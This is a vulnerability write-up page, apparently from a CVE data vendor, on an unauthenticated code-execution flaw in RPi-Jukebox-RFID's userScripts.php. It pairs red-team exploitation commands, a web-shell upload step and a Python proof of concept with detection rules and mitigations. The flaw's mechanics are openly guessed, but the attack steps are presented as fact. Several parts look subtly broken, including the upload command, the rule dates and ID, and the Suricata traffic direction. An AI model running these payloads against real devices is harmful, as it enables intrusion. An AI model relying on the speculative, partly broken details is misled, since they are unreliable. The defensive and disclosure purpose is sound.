CVE-2024-41366
Executive Summary
CVE-2024-41366 is a critical Remote Code Execution (RCE) vulnerability discovered in RPi-Jukebox-RFID v2.7.0, a popular open-source project for Raspberry Pi-based jukebox systems using RFID cards. The flaw resides in the htdocs/userScripts.php endpoint, allowing an unauthenticated attacker to execute arbitrary PHP code on the server. This vulnerability is particularly dangerous due to the lack of authentication requirements and the potential for full system compromise. The vendor has not released a patch, and no official advisory or GitHub commit addressing this issue has been identified. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of proof-of-concept code increases the risk for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application. However, users should verify the integrity of their installation and monitor for any unofficial patches or forks.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full system read access possible.
- Integrity (I): High (H) – Full system write access possible.
- Availability (A): High (H) – Full system disruption possible.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability allows unauthenticated remote code execution, which can lead to complete server takeover, data exfiltration, and lateral movement within the network.
Deep Dive & Mechanics
The vulnerability exists in the htdocs/userScripts.php file. This script is designed to allow users to manage custom scripts, but it fails to properly sanitize or validate user-supplied input. Specifically, the script likely accepts parameters that are directly passed to PHP functions like eval(), system(), exec(), or shell_exec(), or it writes user input to a file that is then executed.
The core issue is a lack of input validation and authentication. An attacker can send a crafted HTTP request to the vulnerable endpoint with malicious PHP code. The server then executes this code, granting the attacker arbitrary command execution capabilities.
Attack Flow:
- Attacker identifies a target running RPi-Jukebox-RFID v2.7.0.
- Attacker sends a POST or GET request to
/htdocs/userScripts.phpwith a parameter containing malicious PHP code (e.g.,cmd=system('id');). - The server processes the request and executes the attacker's code.
- The attacker gains a foothold on the system and can execute further commands.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the only known state. The following is a hypothetical example of the vulnerable code pattern:
Vulnerable Code (hypothetical):
<?php
// htdocs/userScripts.php
$cmd = $_GET['cmd'];
eval($cmd);
?>
Patched Code (hypothetical):
<?php
// htdocs/userScripts.php
$cmd = $_GET['cmd'];
$allowed_commands = ['list', 'status', 'restart'];
if (in_array($cmd, $allowed_commands)) {
// Execute only allowed commands
system('/usr/bin/sudo /usr/local/bin/script.sh ' . escapeshellarg($cmd));
} else {
die('Invalid command');
}
?>
The patched version would implement strict input validation, whitelisting allowed commands, and using escapeshellarg() to prevent injection. Additionally, authentication and authorization checks should be added.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target: RPi-Jukebox-RFID v2.7.0 running on a Raspberry Pi.
- Attacker: Any system with network access to the target.
Exploitation Steps:
Reconnaissance: Scan for the target using Shodan or Nmap.
nmap -p 80,443 --script http-title <target_ip>Verify Vulnerability: Send a test request to confirm the endpoint is accessible.
curl -v "http://<target_ip>/htdocs/userScripts.php?cmd=echo%20test"Execute Command: Run a command to confirm RCE.
curl "http://<target_ip>/htdocs/userScripts.php?cmd=system('id');"Establish Persistence: Upload a web shell or create a reverse shell.
# Upload a PHP web shell curl -X POST -F "file=@shell.php" "http://<target_ip>/htdocs/userScripts.php?cmd=move_uploaded_file"Post-Exploitation: Escalate privileges, pivot, and exfiltrate data.
Proof-of-Concept (PoC) Code:
import requests
target = "http://<target_ip>/htdocs/userScripts.php"
payload = "system('id');"
response = requests.get(target, params={'cmd': payload})
print(response.text)
Blue Team
Detection and Response:
Monitor Logs: Check web server access logs for suspicious requests to
/htdocs/userScripts.php.grep "userScripts.php" /var/log/apache2/access.log | grep -E "(system|exec|shell_exec|passthru|eval)"Network Traffic Analysis: Look for outbound connections from the Raspberry Pi to unknown IPs on unusual ports (e.g., 4444, 1337).
File Integrity Monitoring: Monitor changes to the
htdocs/directory, especially new PHP files.Honeypot: Deploy a decoy instance to capture attacker behavior.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/htdocs/userScripts.phpwith parameters containing PHP functions likesystem,exec,shell_exec,eval. - Outbound connections from the Raspberry Pi to IPs on ports 4444, 1337, or other common reverse shell ports.
- HTTP requests to
File IOCs:
- Unexpected PHP files in
/var/www/html/htdocs/or/home/pi/RPi-Jukebox-RFID/htdocs/. - Modified
userScripts.phpfile with suspicious content. - Presence of web shells (e.g.,
shell.php,cmd.php).
- Unexpected PHP files in
Process IOCs:
- Unusual processes running as
www-dataorpiuser, such asnc,bash,python,perl.
- Unusual processes running as
Log IOCs:
- Apache access log entries with
userScripts.phpandcmd=parameter. - System log entries showing unexpected command execution.
- Apache access log entries with
Detection Engineering
YARA Rule
rule CVE_2024_41366_RCE_Detection {
meta:
description = "Detects exploitation attempts of CVE-2024-41366 in RPi-Jukebox-RFID"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-41366"
severity = "critical"
strings:
$php_func = /(system|exec|shell_exec|passthru|eval|popen|proc_open|assert)\s*\(/
$url_path = "userScripts.php"
$cmd_param = "cmd="
condition:
$url_path and $cmd_param and $php_func
}
Sigma Rule
title: CVE-2024-41366 RCE Attempt via userScripts.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting userScripts.php with command execution parameters
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-41366
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'userScripts.php'
cs-uri-query|contains: 'cmd='
cs-uri-query|contains|re: '(system|exec|shell_exec|passthru|eval)'
condition: selection
falsepositives:
- Legitimate admin usage (rare)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-41366 RCE Attempt - RPi-Jukebox-RFID userScripts.php";
flow:to_server,established;
content:"GET"; http_method;
content:"userScripts.php"; http_uri;
content:"cmd="; http_uri;
pcre:"/(system|exec|shell_exec|passthru|eval)/Ui";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2024-41366;
)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint: Remove or rename
htdocs/userScripts.phpif not required. - Implement authentication: Add HTTP Basic Auth or integrate with the application's existing authentication system.
- Apply input validation: Whitelist allowed commands and use
escapeshellarg()orescapeshellcmd(). - Restrict file permissions: Ensure the web server user has minimal write permissions.
Long-term Fix:
- The vendor should release a patched version that removes the vulnerable functionality or implements proper security controls.
- Users should monitor the project's GitHub repository for updates and apply patches as soon as they are available.
Compensating Controls:
- Deploy a Web Application Firewall (WAF) with rules to block requests containing PHP functions in query parameters.
- Use network segmentation to isolate the Raspberry Pi from critical systems.
- Enable logging and monitoring to detect exploitation attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.